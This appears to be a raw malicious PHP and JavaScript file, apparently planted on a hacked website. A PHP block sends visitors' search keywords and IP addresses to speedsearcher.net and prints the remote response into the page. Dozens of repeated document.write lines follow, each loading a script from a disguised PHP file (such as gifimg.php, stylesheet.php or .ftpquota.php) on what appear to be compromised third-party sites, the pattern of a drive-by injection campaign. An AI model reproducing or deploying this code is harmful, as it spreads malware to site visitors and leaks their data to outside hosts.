<?

function httpSocketConnection($url)

{

        $method = strtoupper($method);

        $method = "GET";



        $url=str_replace("http://", "", $url);

 		$host=substr($url,0,strpos($url,"/"));

 		$path=substr($url,strpos($url,"/"));



        if ($method == "GET")

        {

            $path.= '?'.$data;

        }



        $filePointer = fsockopen($host, 80, $errorNumber, $errorString);



        if (!$filePointer)

        {

            logEvent('debug', 'Failed opening http socket connection: '.$errorString.' ('.$errorNumber.')<br/>\n');

            return false;

        }



        $requestHeader = $method." ".$path."  HTTP/1.1\r\n";

        $requestHeader.= "Host: ".$host."\r\n";

        $requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";

        $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";



        if ($method == "POST")

        {

            $requestHeader.= "Content-Length: ".strlen($data)."\r\n";

        }



        $requestHeader.= "Connection: close\r\n\r\n";



        if ($method == "POST")

        {

            $requestHeader.= $data;

        }



        fwrite($filePointer, $requestHeader);



        $responseHeader = '';

        $responseContent = '';



        do

        {

            $responseHeader.= fread($filePointer, 1);

        }

        while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader));





        if (!strstr($responseHeader, "Transfer-Encoding: chunked"))

        {

            while (!feof($filePointer))

            {

                $responseContent.= fgets($filePointer, 128);

            }

        }

        else

        {



            while ($chunk_length = hexdec(fgets($filePointer)))

            {

                $responseContentChunk = '';



                $read_length = 0;



                while ($read_length < $chunk_length)

                {

                    $responseContentChunk .= fread($filePointer, $chunk_length - $read_length);

                    $read_length = strlen($responseContentChunk);

                }



                $responseContent.= $responseContentChunk;



                fgets($filePointer);



            }



        }



   return chop($responseContent);

}



@session_start();







if ($include==1)

{

	$_SESSION['q']=$keyword;

	print "<script src=\"banner.js\"></script>\n";}



if (($_SESSION['q']) && (!$include))

{

	$said="nnet4";

	$ip=$_SERVER['REMOTE_ADDR'];

	$keyword=$_SESSION['q'];



	//print "alert('".$_SESSION['q']."');";

	//print implode("\n",file("http://speedsearcher.net/search/banner.php?q=".rawurlencode($keyword)."&said=".rawurlencode($said)."&ip=".rawurlencode($ip)));

  	print httpSocketConnection("http://speedsearcher.net/search/banner.php?q=".rawurlencode($keyword)."&said=".rawurlencode($said)."&ip=".rawurlencode($ip));



	$_SESSION['q']="";

}

?>
document.write('<script src=http://anydisk.anyprinting.com/webfolder/index.php ><\/script>');
document.write('<script src=http://anydisk.anyprinting.com/webfolder/index.php ><\/script>');
document.write('<script src=http://weihua.ca/_vti_txt/medicalplan.shtml.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://spielwaren-carl-loebner.de/shop/team.php ><\/script>');
document.write('<script src=http://hana-house.org/images/gifimg.php ><\/script>');
document.write('<script src=http://gsupipnezavisnost.org.rs/engleski/stilovi.php ><\/script>');
document.write('<script src=http://gsupipnezavisnost.org.rs/engleski/stilovi.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jan-jan-net.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ralstin.net/images/gifimg.php ><\/script>');
document.write('<script src=http://lapadtechnologies.com/images/stylesheet.php ><\/script>');
document.write('<script src=http://lapadtechnologies.com/images/stylesheet.php ><\/script>');
document.write('<script src=http://lapadtechnologies.com/images/stylesheet.php ><\/script>');
document.write('<script src=http://lapadtechnologies.com/images/stylesheet.php ><\/script>');
document.write('<script src=http://lapadtechnologies.com/images/stylesheet.php ><\/script>');
document.write('<script src=http://street-moto.ru/tmp/.ftpquota.php ><\/script>');
document.write('<script src=http://download.freegamez.hu/Kepek/ggslogo.php ><\/script>');
document.write('<script src=http://download.freegamez.hu/Kepek/ggslogo.php ><\/script>');
document.write('<script src=http://download.freegamez.hu/Kepek/ggslogo.php ><\/script>');
document.write('<script src=http://download.freegamez.hu/Kepek/ggslogo.php ><\/script>');
document.write('<script src=http://download.freegamez.hu/Kepek/ggslogo.php ><\/script>');
document.write('<script src=http://download.freegamez.hu/Kepek/ggslogo.php ><\/script>');
document.write('<script src=http://mjd.se/menu/_vti_inf.php ><\/script>');
document.write('<script src=http://amozatravels.com/images/gifimg.php ><\/script>');
document.write('<script src=http://amozatravels.com/images/gifimg.php ><\/script>');
document.write('<script src=http://amozatravels.com/images/gifimg.php ><\/script>');
document.write('<script src=http://amozatravels.com/images/gifimg.php ><\/script>');
document.write('<script src=http://amozatravels.com/images/gifimg.php ><\/script>');
document.write('<script src=http://amozatravels.com/images/gifimg.php ><\/script>');
document.write('<script src=http://amozatravels.com/images/gifimg.php ><\/script>');
document.write('<script src=http://sr5top.com/images/postinfo.php ><\/script>');
document.write('<script src=http://nkimpex.com/images/gifimg.php ><\/script>');
document.write('<script src=http://gesund-kochen.info/wp-includes/wp-comments-post.php ><\/script>');
document.write('<script src=http://gesund-kochen.info/wp-includes/wp-comments-post.php ><\/script>');
document.write('<script src=http://gesund-kochen.info/wp-includes/wp-comments-post.php ><\/script>');
document.write('<script src=http://alayf.com/components/offlinebar.php ><\/script>');
